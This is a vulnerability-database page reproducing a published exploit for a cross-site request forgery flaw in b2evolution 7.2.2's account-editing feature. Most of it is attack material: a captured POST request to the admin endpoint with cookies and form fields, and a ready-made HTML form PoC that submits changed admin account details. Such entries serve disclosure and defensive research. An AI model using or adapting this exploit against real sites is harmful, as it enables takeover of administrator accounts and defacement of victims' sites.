Vulners
Lucene search
b2evolution 7.2.2 - (edit account details) Cross-Site Request Forgery Vulnerability
# Exploit Title: b2evolution 7.2.2 - 'edit account details' Cross-Site Request Forgery (CSRF)
# Exploit Author: Alperen Ergel (@alpernae)
# Vendor Homepage: https://b2evolution.net/
# Software Link: https://b2evolution.net/downloads/7-2-2
# Version : 7.2.2
# Tested on: Kali Linux
# Category: WebApp
######## Description ########
Allows to attacker change admin account details.
######## Proof of Concept ########
===> REQUEST <====
POST /b2evolution/evoadm.php HTTP/1.1
Host: s2.demo.opensourcecms.com
Cookie: session_b2evo=1387_5XjmCda2lrphrrPvEEZqHq0CANmMmGDt;
__cmpconsentx19318=CPIqFKEPIqFKEAfUmBENBgCsAP_AAH_AAAYgG9tf_X_fb3_j-_59__t0eY1f9_7_v-0zjheds-8Nyd_X_L8X_2M7vB36pr4KuR4ku3bBAQdtHOncTQmx6IlVqTPsb02Mr7NKJ7PEmlsbe2dYGH9_n9XT_ZKZ79_____7________77______3_v__9-BvbX_1_329_4_v-ff_7dHmNX_f-_7_tM44XnbPvDcnf1_y_F_9jO7wd-qa-CrkeJLt2wQEHbRzp3E0JseiJVakz7G9NjK-
zSiezxJpbG3tnWBh_f5_V0_2Sme_f____-________--______9_7___fgAAA; __cmpcccx19318=aBPIqFKEgAADAAXAA0AB4AQ4DiQKnAAA;
_ga=GA1.2.1294565572.1625137627; _gid=GA1.2.967259237.1625137627; __gads=ID=b3a3eb6f723d6f76-2210340b6fc800b7:T=1625137656:RT=1625137656:S=ALNI_MaB1e9iPH5NWYZhtIxGIyqg8LXMOA
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1031
Origin: https://s2.demo.opensourcecms.com
Referer: https://s2.demo.opensourcecms.com/b2evolution/evoadm.php?blog=1&ctrl=user&user_tab=profile&user_ID=1&action=edit&user_tab=profile
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
## < SNIPP >
edited_user_login=opensourcecms&edited_user_firstname=Hacker&edited_user_lastname=Hacker&edited_user_nickname=demo&edited_user_gender=M&edited_user_ctry_ID=233&edited_user_rgn_ID=&edited_user_subrg_ID=&edited_user_city_ID=
&edited_user_age_min=&edited_user_age_max=&edited_user_birthday_month=&edited_user_birthday_day=&edited_user_birthday_year=&organizations%5B%5D=1&org_roles%5B%5D=King+of+Spades&org_priorities%5B%5D=&uf_1=I+am+the+demo+administrator+of+this+site.%0D%0AI+love+having+so+much+power%21&uf_new%5B2%5D%5B%5D=
&uf_new%5B3%5D%5B%5D=&uf_2=https%3A%2F%2Ftwitter.com%2Fb2evolution%2F&uf_3=https%3A%2F%2Fwww.facebook.com%2Fb2evolution&uf_4=https%3A%2F%2Fplus.google.com%2F%2Bb2evolution%2Fposts&uf_5=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2Fb2evolution-net&uf_6=https%3A%2F%2Fgithub.com%2Fb2evolution%2Fb2evolution&uf_7=
http%3A%2F%2Fb2evolution.net%2F&new_field_type=0&actionArray%5Bupdate%5D=Save+Changes%21&crumb_user=zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl&ctrl=user&user_tab=profile&identity_form=1&user_ID=1&orig_user_ID=1
#### Proof-Of-Concept ####
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://s2.demo.opensourcecms.com/b2evolution/evoadm.php" method="POST">
<input type="hidden" name="edited_user_login" value="CHANGEHERE" />
<input type="hidden" name="edited_user_firstname" value="CHANGEHERE" />
<input type="hidden" name="edited_user_lastname" value="CHANGEHERE" />
<input type="hidden" name="edited_user_nickname" value="CHANGEHERE" />
<input type="hidden" name="edited_user_gender" value="M" />
<input type="hidden" name="edited_user_ctry_ID" value="233" />
<input type="hidden" name="edited_user_rgn_ID" value="" />
<input type="hidden" name="edited_user_subrg_ID" value="" />
<input type="hidden" name="edited_user_city_ID" value="" />
<input type="hidden" name="edited_user_age_min" value="" />
<input type="hidden" name="edited_user_age_max" value="" />
<input type="hidden" name="edited_user_birthday_month" value="" />
<input type="hidden" name="edited_user_birthday_day" value="" />
<input type="hidden" name="edited_user_birthday_year" value="" />
<input type="hidden" name="organizations[]" value="1" />
<input type="hidden" name="org_roles[]" value="King of Spades" />
<input type="hidden" name="org_priorities[]" value="" />
<input type="hidden" name="uf_1" value="I am the demo administrator of this site. I love having so much power!" />
<input type="hidden" name="uf_new[2][]" value="" />
<input type="hidden" name="uf_new[3][]" value="" />
<input type="hidden" name="uf_2" value="https://twitter.com/b2evolution/" />
<input type="hidden" name="uf_3" value="https://www.facebook.com/b2evolution" />
<input type="hidden" name="uf_4" value="https://plus.google.com/+b2evolution/posts" />
<input type="hidden" name="uf_5" value="https://www.linkedin.com/company/b2evolution-net" />
<input type="hidden" name="uf_6" value="https://github.com/b2evolution/b2evolution" />
<input type="hidden" name="uf_7" value="http://b2evolution.net/" />
<input type="hidden" name="new_field_type" value="0" />
<input type="hidden" name="actionArray[update]" value="Save Changes!" />
<input type="hidden" name="crumb_user" value="zNkyQhORGCWRoCFgM0JhdvYkrqnYpCOl" />
<input type="hidden" name="ctrl" value="user" />
<input type="hidden" name="user_tab" value="profile" />
<input type="hidden" name="identity_form" value="1" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="orig_user_ID" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Jul 2021 00:00Current
0.6Low risk
Vulners AI Score0.6